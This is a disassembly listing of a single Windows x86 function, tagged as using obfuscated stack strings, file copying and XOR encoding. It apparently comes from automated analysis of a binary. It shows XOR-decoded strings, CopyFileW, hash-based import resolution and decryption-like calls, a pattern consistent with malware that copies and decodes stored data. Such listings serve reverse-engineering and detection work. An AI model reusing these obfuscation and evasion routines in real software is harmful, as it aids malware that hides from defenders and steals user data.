Function at 0x4298f9
Capabilities:
Contain obfuscated stackstrings
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00428ee0
add esp, 4
test al, al
je 0x4295d0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov ebp, dword [esp + 0xf4]
mov dword [esp + 0xa0], 0x832c81c9
mov dword [esp + 0xa4], 0x87328537
mov dword [esp + 0xa8], 0x8b268929
mov dword [esp + 0xac], 0x8fde8d20
mov dword [esp + 0xb0], 0x93269131
mov dword [esp + 0xb4], 0x9796953c
mov word [esp + 0xb8], 0
mov byte [esp + 0xba], 0
mov eax, 0x895d0a20
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x76a2f680]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 0x24
xor ecx, 0xa4
lea ecx, [ecx + edx*2]
add cl, 0xbc
mov byte [esp + eax + 0x76a2f680], cl
inc eax
cmp eax, 0x895d0a3b
jne 0x429640
mov dword [esp + 0x18], 0x6330610c
mov dword [esp + 0x1c], 0x67216521
mov dword [esp + 0x20], 0x7b297921
mov dword [esp + 0x24], 0x7f2c7d28
mov dword [esp + 0x28], 0x731e7119
mov dword [esp + 0x2c], 0x77377529
mov dword [esp + 0x30], 0x8bd289cb
mov dword [esp + 0x34], 0x8fd08dd5
mov dword [esp + 0x38], 0x83ee81c5
mov dword [esp + 0x3c], 0x87d985d7
mov dword [esp + 0x40], 0x9bce99de
mov dword [esp + 0x44], 0x9fdf9dcb
mov dword [esp + 0x48], 0x93d791c2
mov dword [esp + 0x4c], 0x97c095f8
mov dword [esp + 0x50], 0xabd6a9c9
mov dword [esp + 0x54], 0xafcbadda
mov dword [esp + 0x58], 0xa3f1a1cc
mov dword [esp + 0x5c], 0xa7c3a5d0
mov dword [esp + 0x60], 0xbbc7b9d9
mov word [esp + 0x64], 0xbdbc
mov dword [esp + 0x66], 0
mov eax, 0xe8
mov ecx, 0x17
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xd0]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0x78
mov byte [esp + eax - 0xd0], dl
inc eax
dec ecx
cmp eax, 0x13a
jne case.default.0x429771
lea eax, [esp + 0xa0]
lea ebx, [esp + 0x18]
push eax
push ebx
call fcn.004399d0
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x447e14]
mov eax, edi
nop
nop
nop
nop
nop
nop
mov ecx, eax
add eax, 2
cmp word [ecx], 0
jne 0x429780
mov edx, ecx
xor edx, edi
mov eax, edi
not eax
and eax, ecx
add eax, eax
sub eax, edx
cmp eax, 0xffffffd9
jge 0x4297ac
mov eax, 0xffffffff
jmp 0x4297af
xor ebx, ebx
jmp 0x42a423
add eax, 0x26
push eax
call fcn.00408300
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0x2341214c
mov dword [esp + 0x1c], 0x27b825bb
mov dword [esp + 0x20], 0x5bc3593e
mov dword [esp + 0x24], 0x5f325d3b
mov dword [esp + 0x28], 0x53cd5133
mov dword [esp + 0x2c], 0x573055ca
mov dword [esp + 0x30], 0x4b2d49d1
mov dword [esp + 0x34], 0x4fd84d12
mov dword [esp + 0x38], 0x43244124
mov word [esp + 0x3c], 0x4544
mov dword [esp + 0x3e], 0
mov word [esp + 0x42], 0
xor eax, eax
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x18]
lea esi, [eax + 0x3815cd38]
xor esi, ecx
mov ecx, 1
sub ecx, esi
neg esi
mov edx, esi
and edx, 0x19
add edx, edx
xor esi, 0xe6
sub edx, esi
and ecx, 1
or edx, 1
or ecx, 2
sub ecx, edx
mov byte [esp + eax + 0x18], cl
lea ecx, [eax + eax]
and ecx, 2
mov edx, ecx
and edx, eax
or ecx, eax
xor ecx, 1
add ecx, edx
mov eax, ecx
cmp ecx, 0x2c
jb 0x429820
movzx ecx, word [edi]
mov eax, dword [esp + 0x10]
test cx, cx
je 0x4298a1
mov edx, edi
add edx, 2
mov eax, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429890
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
lea esi, [esp + 0xa0]
je 0x4298d1
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4298c0
mov word [eax], 0
jmp dword [0x447e1c]
push edi
call fcn.00408310
add esp, 4
xor eax, eax
mov edi, dword [esp + 0x10]
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x447e24]
xor eax, eax
mov edi, dword [esp + 0x10]
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x447e24]
mov dword [esp + 0x18], 0xf1b4ffb9
mov dword [esp + 0x1c], 0xf557f35c
mov dword [esp + 0x20], 0xc948f745
mov dword [esp + 0x24], 0xcd71cb6e
mov dword [esp + 0x28], 0xc162cf75
mov dword [esp + 0x2c], 0xc573c365
mov dword [esp + 0x30], 0xd960c77a
mov dword [esp + 0x34], 0xdd63db63
mov dword [esp + 0x38], 0xd168dfa2
mov dword [esp + 0x3c], 0xd574d374
mov word [esp + 0x40], 0xd7d4
mov dword [esp + 0x42], 0
mov word [esp + 0x46], 0
mov eax, 0x7a0dc4d5
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x7a0dc4bd]
mov ecx, eax
and ecx, edx
add ecx, ecx
add edx, eax
mov esi, ecx
xor esi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, esi
add cl, 0xd7
mov byte [esp + eax - 0x7a0dc4bd], cl
inc eax
cmp eax, 0x7a0dc505
jne 0x429980
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea esi, [esp + 0xa0]
push 0x60
push 3
push 0x120089
push esi
push edi
call fcn.00440530
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov dword [esp], 0
jmp dword [eax*4 + 0x447e2c]
jmp dword [0x447e8c]
push dword [esp + 0x10]
call fcn.00408310
add esp, 4
xor eax, eax
mov esi, dword [esp]
cmp esi, dword [esp + 4]
sete al
xor ebx, ebx
jmp dword [eax*4 + 0x447e94]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0xa8]
call fcn.00440830
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor esi, esi
jmp dword [eax*4 + 0x447e34]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.004408e0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor esi, esi
jmp dword [eax*4 + 0x447e3c]
mov esi, dword [esp + 0x90]
mov byte [edi + esi], 0
push 0x20
call fcn.00408300
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x74], eax
mov ecx, eax
push esi
mov dword [esp + 0x7c], edi
push edi
call fcn.0042c040
movzx eax, al
xor esi, esi
xor edx, edx
jmp dword [eax*4 + 0x447e44]
mov dword [esp + 0x18], 0x2d202a71
mov dword [esp + 0x1c], 0x26285831
mov dword [esp + 0x20], 0x2d55596d
mov dword [esp + 0x24], 0x40672c3a
mov dword [esp + 0x28], 0x3a4d3020
mov dword [esp + 0x2c], 0x484b6879
mov dword [esp + 0x30], 0x3530283d
mov word [esp + 0x34], 0xa735
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
mov eax, 0xb85eefdf
nop
movzx ecx, byte [esp + eax + 0x47a11039]
xor ecx, eax
mov edx, 0x5b
sub edx, ecx
and ecx, 1
or edx, 1
sub ecx, edx
mov byte [esp + eax + 0x47a11039], cl
inc eax
cmp eax, 0xb85ef002
jne 0x429b30
mov ecx, dword [esp + 0x74]
push ebx
call fcn.0042c230
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
jmp dword [ecx*4 + 0x447e4c]
mov dword [esp + 4], esi
mov ebp, dword [esp + 0xf4]
mov esi, edx
mov edi, dword [esp + 0x78]
mov ebx, dword [esp + 0x74]
jmp dword [0x447e5c]
jmp dword [0x447e68]
xor eax, eax
mov esi, dword [esp]
cmp esi, dword [esp + 4]
sete al
xor ebx, ebx
jmp dword [eax*4 + 0x447e94]
mov dword [esp + 0x18], 0x9de0b37
mov dword [esp + 0x1c], 0x5fb07f9
mov dword [esp + 0x20], 0x1f603fb
mov dword [esp + 0x24], 0x1dee1fdf
mov dword [esp + 0x28], 0x19c61bec
mov dword [esp + 0x2c], 0x159a17e7
mov dword [esp + 0x30], 0x112913eb
mov dword [esp + 0x34], 0x2dc32ff4
mov dword [esp + 0x38], 0x29d12ba0
mov dword [esp + 0x3c], 0x25d527d7
mov dword [esp + 0x40], 0x21d623c0
mov dword [esp + 0x44], 0x3dc33fd1
mov dword [esp + 0x48], 0x39ce3bc3
mov dword [esp + 0x4c], 0x35bc370a
mov dword [esp + 0x50], 0x31c833c8
lea eax, [esp + 0x54]
mov word [esp + 0x54], 0xcf30
mov dword [esp + 0x56], 0
mov word [esp + 0x5a], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0x43
xor dl, byte [esp + ecx + 0x18]
add dl, 0xb1
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 0x44
jne 0x429c40
lea edx, [esp + 0x18]
mov ecx, 0xf
lea ebx, [esp + 0xa0]
mov edi, ebx
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44cd1c]
mov dword [esp + 0x18], 0xa3e2e1c3
xor ecx, ecx
mov edx, ecx
add dl, 0xa8
xor dl, byte [esp + ecx + 0x18]
add dl, 0xb8
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 4
jne case.default.0x429cc1
xor ecx, ecx
cmp eax, dword [esp + 0x18]
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x447e9c]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x429cda
mov eax, 0xffffffff
jmp 0x429cdd
lea eax, [edi + edi]
push eax
call fcn.00408300
add esp, 4
push esi
mov esi, eax
push edi
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44cd1c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447ea4]
xor ebx, ebx
jmp dword [0x447eac]
jmp dword [0x447eb8]
push esi
call fcn.00408310
add esp, 4
push esi
call fcn.00408310
add esp, 4
xor ebx, ebx
jmp dword [0x447ebc]
mov ecx, dword [esp]
mov eax, ecx
not eax
mov edx, dword [esp + 4]
and eax, edx
add eax, eax
xor ecx, edx
sub eax, ecx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408300
add esp, 4
mov edi, eax
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00440530
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 8], edi
jmp dword [eax*4 + 0x447ec4]
xor ebx, ebx
jmp dword [0x447f9c]
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x84]
call fcn.00440830
add esp, 0xc
not eax
shr eax, 0x1f
mov ecx, edi
xor edi, edi
mov dword [esp + 0xc], ecx
xor ebx, ebx
jmp dword [eax*4 + 0x447ecc]
mov dword [esp + 0x78], esi
mov esi, dword [esp + 0x98]
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
push 0
push esi
mov dword [esp + 0x8c], eax
push eax
push dword [esp + 0x88]
call fcn.004408e0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov ecx, dword [esp + 8]
mov dword [esp + 0xc], ecx
jmp dword [eax*4 + 0x447ed4]
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0x84]
mov byte [ebx + esi], 0
push 0x20
call fcn.00408300
add esp, 4
mov ebp, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
jmp dword [0x447ee0]
mov ecx, ebp
push esi
push ebx
call fcn.0042c040
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebp
push esi
push ebx
call fcn.0042c040
jmp dword [0x447ee4]
mov dword [esp + 0x80], ebp
movzx eax, al
xor ebx, ebx
mov ecx, dword [esp + 8]
mov dword [esp + 0xc], ecx
jmp dword [eax*4 + 0x447eec]
mov dword [esp + 0x18], 0xc5d8cea9
mov dword [esp + 0x1c], 0xd2c0d0f9
mov dword [esp + 0x20], 0xf5d5a185
mov dword [esp + 0x24], 0x98bbecfe
mov dword [esp + 0x28], 0xfeede8f8
mov dword [esp + 0x2c], 0xfbf386b1
mov dword [esp + 0x30], 0xede3e0fa
mov dword [esp + 0x34], 0xe5fff89d
mov word [esp + 0x38], 0x5ffb
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov eax, 0x95
mov ecx, 2
mov esi, ecx
and esi, 2
mov edx, eax
and edx, 0xfd
or edx, esi
xor dl, byte [esp + eax - 0x7d]
xor dl, 2
add dl, 0x17
mov byte [esp + eax - 0x7d], dl
inc eax
dec ecx
cmp eax, 0xbd
jne case.default.0x429f32
mov ecx, dword [esp + 0x80]
lea eax, [esp + 0x18]
push eax
call fcn.0042c230
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov edx, dword [esp + 8]
mov dword [esp + 0xc], edx
jmp dword [ecx*4 + 0x447ef4]
mov ebp, dword [esp + 0xf4]
jmp dword [0x447f6c]
mov esi, dword [esp + 0x80]
mov ecx, esi
call fcn.0042c390
push esi
call fcn.00408310
add esp, 4
mov eax, dword [case.0x429f32.33]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x78]
jmp dword [0x447f84]
push dword [esp + 0x84]
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
jmp dword [0x447f94]
mov dword [esp + 0x10], ebx
mov ebx, esi
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x18], 0x34353637
mov ecx, 0xb3
nop
nop
nop
movzx edx, byte [esp + edi + 0x18]
mov esi, edi
or esi, edx
or esi, 0x3631664c
not edx
or edx, ecx
and edx, esi
mov esi, edx
or esi, 0x82
and edx, 0x82
add edx, esi
add dl, 2
mov byte [esp + edi + 0x18], dl
inc edi
dec ecx
cmp edi, 4
jne 0x429fb0
mov ecx, dword [0x44cd20]
test ecx, ecx
je 0x42a310
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44cd24]
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42a304
inc esi
cmp ecx, esi
jne 0x42a000
jmp 0x42a310
add eax, 8
xor esi, esi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor edx, edx
xor edi, edi
xor ebx, ebx
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x447e54]
mov eax, dword [esp + 8]
mov dword [esi + eax + 4], ecx
mov edx, esi
mov esi, dword [esp + 4]
add esi, 8
mov ecx, dword [esp + 0xc]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, edx
mov ebx, esi
jmp dword [eax*4 + 0x447e54]
mov dword [esp + 0xc], ecx
mov eax, dword [ecx]
mov dword [esp + 0x70], eax
mov eax, edi
xor eax, ebx
mov ecx, edi
not ecx
and ecx, ebx
mov dword [esp + 8], ecx
lea ebp, [ecx + ecx]
sub ebp, eax
mov edx, ebp
sar edx, 3
mov ecx, dword [esp + 0x14]
cmp ebx, ecx
je 0x42a0a1
mov dword [esp + 4], ebx
mov esi, edi
jmp 0x42a121
mov dword [esp], edx
lea eax, [edx + 1]
sub ecx, edi
sar ecx, 3
mov edx, ecx
shr edx, 1
add edx, ecx
cmp edx, eax
ja 0x42a0b8
mov edx, eax
mov dword [esp + 4], edx
lea eax, [edx*8]
push eax
call fcn.00408300
add esp, 4
mov esi, eax
test edi, edi
je 0x42a10b
mov edx, dword [esp + 0x14]
cmp edi, edx
je 0x42a102
xor eax, eax
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x42a0e0
push edi
call fcn.00408310
add esp, 4
mov eax, dword [esp + 4]
lea eax, [esi + eax*8]
mov dword [esp + 0x14], eax
mov eax, esi
add eax, ebp
mov dword [esp + 4], eax
mov edx, dword [esp]
mov eax, ebx
not eax
and eax, edi
mov ecx, dword [esp + 8]
sub ecx, eax
cmp ecx, ebp
mov ebp, ecx
mov dword [esp + 8], ecx
jae 0x42a1d0
lea edx, [edi + edx*8]
sub edx, ebx
mov eax, ebp
add ebp, esi
add eax, esi
add eax, 8
cmp edx, 8
jle 0x42a15f
push edx
push ebp
push eax
call fcn.00408380
add esp, 0xc
mov ebp, dword [esp + 8]
jmp 0x42a1d0
mov ecx, edx
shr ecx, 2
mov dword [esp], edx
mov ebx, ebp
mov edi, eax
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edx, dword [esp]
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ebp, dword [esp]
and ebp, 3
mov ecx, ebp
shr ecx, 1
mov dword [esp + 0x6c], edx
mov edi, eax
mov ebx, dword [esp + 0x6c]
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ebx, dword [esp]
mov ecx, ebx
xor ecx, 2
and ecx, ebp
mov ebp, dword [esp + 8]
je 0x42a1d0
mov edi, eax
and ebx, 2
movzx eax, byte [edx + ebx]
mov byte [edi + ebx], al
cmp ecx, 1
je 0x42a1d0
movzx eax, byte [edx + ebx + 1]
mov byte [edi + ebx + 1], al
cmp ecx, 2
je 0x42a1d0
movzx eax, byte [edx + ebx + 2]
mov byte [edi + ebx + 2], al
nop
nop
mov dword [esi + ebp], 0
mov dword [esi + ebp + 4], 0
xor ebx, ebx
mov edi, dword [esp + 0x70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + ebx], 0
lea ebx, [ebx + 1]
jne 0x42a1f0
push ebx
call fcn.00408300
add esp, 4
mov dword [esi + ebp], eax
mov ecx, ebx
shr ecx, 2
mov edx, edi
mov ebp, edi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
inc cl
test cl, 1
jne 0x42a251
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp ebx, 1
je 0x42a040
mov dword [esp], esi
mov ecx, 0xffffffff
mov eax, 1
nop
nop
mov edx, dword [esp + 0x70]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ebp, edx
shr ebp, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, ebp
mov esi, edi
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebp, edi
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb8832
xor ebp, esi
mov esi, edi
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, esi
xor edi, ebp
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42a260
not ecx
mov esi, dword [esp]
jmp 0x42a040
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42a430
mov esi, ebx
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
jmp dword [0x447f9c]
push esi
call fcn.00408310
add esp, 4
mov eax, dword [case.0x429f32.42]
nop
nop
jmp eax
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447fb4]
mov esi, dword [esp + 8]
jmp dword [0x447fbc]
mov byte [edi], 0
mov dword [esp + 0x18], 0x1f121121
mov dword [esp + 0x1c], 0x1307061d
mov dword [esp + 0x20], 0x8040601
mov dword [esp + 0x24], 0x1a0a2e43
mov dword [esp + 0x28], 0x274d0c11
mov dword [esp + 0x2c], 0x9130e0b
mov dword [esp + 0x30], 0x3feb7fb
mov dword [esp + 0x34], 0x8df8
mov eax, 0x68
mov ecx, 0x97
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x50]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
add dl, 0xf8
mov byte [esp + eax - 0x50], dl
inc eax
dec ecx
cmp eax, 0x88
jne 0x42a3a0
mov esi, dword [esp + 8]
sub edi, esi
mov ecx, ebp
push edi
push esi
lea eax, [esp + 0x20]
push eax
call fcn.00409200
mov ebx, eax
jmp dword [0x447fbc]
push esi
call fcn.00408310
add esp, 4
and bl, 1
mov eax, dword [case.0x429771.32]
mov esi, dword [esp]
nop
jmp eax
test esi, esi
je 0x42a423
mov edi, dword [esp + 4]
cmp esi, edi
jne 0x42a407
jmp 0x42a423
add esi, 8
cmp esi, edi
je 0x42a418
mov eax, dword [esi]
test eax, eax
je 0x42a400
push eax
call fcn.00408310
add esp, 4
jmp 0x42a400
push dword [esp]
call fcn.00408310
add esp, 4
mov eax, ebx
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 4
push ecx
push dword [0x44cd28]
call fcn.0043e090
add esp, 0x10
mov esi, ebx
mov edi, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
jmp dword [0x447f9c]
add eax, 8
xor ebx, ebx
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 8]
mov dword [esp + 0xc], ecx
jmp dword [eax*4 + 0x447efc]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447efc]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov ebp, 0
jne case.default.0x42a4a1
mov ebp, dword [esi + 0x10]
test edx, edx
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447f04]
mov dword [esp + 0x74], edx
mov dword [esp + 0x6c], esi
mov dword [esp + 0x10], ebx
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
inc eax
cmp byte [esi], 0
jne case.default.0x42a4e8
sub esi, ebp
inc esi
shr esi, 1
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x14], eax
jmp dword [edx*4 + 0x447f0c]
mov byte [eax], 0
mov dword [esp + 0x70], 0
push 0
push 0x10
push 0
push dword [esp + 0x80]
call fcn.0042c430
add esp, 0x10
xor ebx, ebx
mov ebp, dword [esp]
cmp ebp, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x447f1c]
add ebp, 2
shl edx, 4
or edx, ebx
mov byte [eax], dl
inc eax
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447f0c]
mov edx, ecx
or edx, 0x20
lea ebx, [edx - 0x61]
add edx, 0xffffffa9
add ecx, 0xffffffd0
cmp ecx, 0xa
jb 0x42a565
mov ecx, 0xffffffff
cmp ebx, 6
jb case.default.0x42a57a
mov edx, ecx
lea edi, [ebp + 1]
movsx ecx, byte [ebp + 1]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x447f14]
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov ebp, edi
jmp dword [edx*4 + 0x447f0c]
mov ebx, ecx
or ebx, 0x20
lea edi, [ebx - 0x61]
add ebx, 0xffffffa9
add ecx, 0xffffffd0
cmp ecx, 0xa
jb 0x42a5b8
mov ecx, 0xffffffff
cmp edi, 6
jb 0x42a530
mov ebx, ecx
jmp 0x42a530
mov ecx, dword [ebp]
mov dword [esp + 0x70], ecx
xor ecx, ecx
jmp dword [ecx*4 + 0x447f2c]
add ebp, 8
xor ebx, ebx
cmp ebp, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x447f1c]
mov edi, dword [ebp + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, eax
xor ecx, ecx
or edi, ebx
sete cl
jmp dword [ecx*4 + 0x447f24]
mov ecx, 1
jmp dword [ecx*4 + 0x447f2c]
xor eax, eax
mov ebp, dword [esp + 0x70]
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447f34]
xor edi, edi
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x6c]
mov ebp, dword [esp + 0x14]
jmp dword [0x447f44]
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
mov eax, 0xffffffff
xor edi, edi
mov ebx, dword [esp + 0x10]
nop
nop
nop
nop
cmp byte [ebp + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42a6cb
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], ebp
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
push 0xe18a387a
push dword [0x44cd2c]
call fcn.0043fb70
add esp, 8
lea ecx, [esp + 0x88]
lea edx, [esp + 0x90]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x30]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov esi, dword [esp + 0x6c]
jmp dword [ecx*4 + 0x447f3c]
mov ebp, dword [esp + 0x14]
jmp dword [0x447f44]
movzx eax, byte [ebp]
test al, al
je 0x42a6f7
inc ebp
mov ecx, dword [esp + 0xc]
mov byte [ecx], al
inc ecx
movzx eax, byte [ebp]
inc ebp
test al, al
jne 0x42a6e9
jmp 0x42a6fb
mov ecx, dword [esp + 0xc]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x88]
test esi, esi
je 0x42a73f
mov ecx, dword [esp + 0x8c]
mov edi, esi
and edi, 3
mov ebp, dword [esp + 0x14]
je 0x42a749
xor ebx, ebx
movzx edx, byte [ecx]
cmp dl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebx], dl
inc ebx
cmp edi, ebx
jne 0x42a724
add eax, ebx
mov edx, esi
sub edx, ebx
mov ebx, eax
jmp 0x42a74b
mov esi, eax
xor edi, edi
mov ebp, dword [esp + 0x14]
jmp 0x42a790
mov edx, esi
cmp esi, 4
mov edi, 0
mov esi, ebx
jb 0x42a790
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x42a757
mov byte [esi], 0xa
inc esi
mov dword [esp + 0xc], esi
push 0xa7ffa4f5
push dword [0x44cd14]
call fcn.0043fb70
add esp, 8
push dword [esp + 0x8c]
call eax
mov bl, 1
mov esi, dword [esp + 0x6c]
jmp dword [0x447f44]
jmp dword [0x447f4c]
mov eax, dword [case.0x42a4a1.0]
nop
nop
nop
nop
nop
jmp eax
push ebp
call fcn.00408310
add esp, 4
push ebp
call fcn.00408310
add esp, 4
jmp dword [0x447f58]
mov dword [esp], esi
push edi
call fcn.00408310
add esp, 4
jmp dword [0x447e80]
mov dword [esp], esi
jmp dword [0x447e80]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x18], 0x34353637
xor ecx, ecx
mov edx, 0xb3
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0x18]
mov esi, ecx
or esi, ebx
or esi, 0x3631664c
not ebx
or ebx, edx
and ebx, esi
mov esi, ebx
or esi, 0x82
and ebx, 0x82
add ebx, esi
add bl, 2
mov byte [esp + ecx + 0x18], bl
inc ecx
dec edx
cmp ecx, 4
jne 0x42a820
mov ecx, dword [0x44cd20]
test ecx, ecx
je case.0x429771.26
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44cd24]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42a880
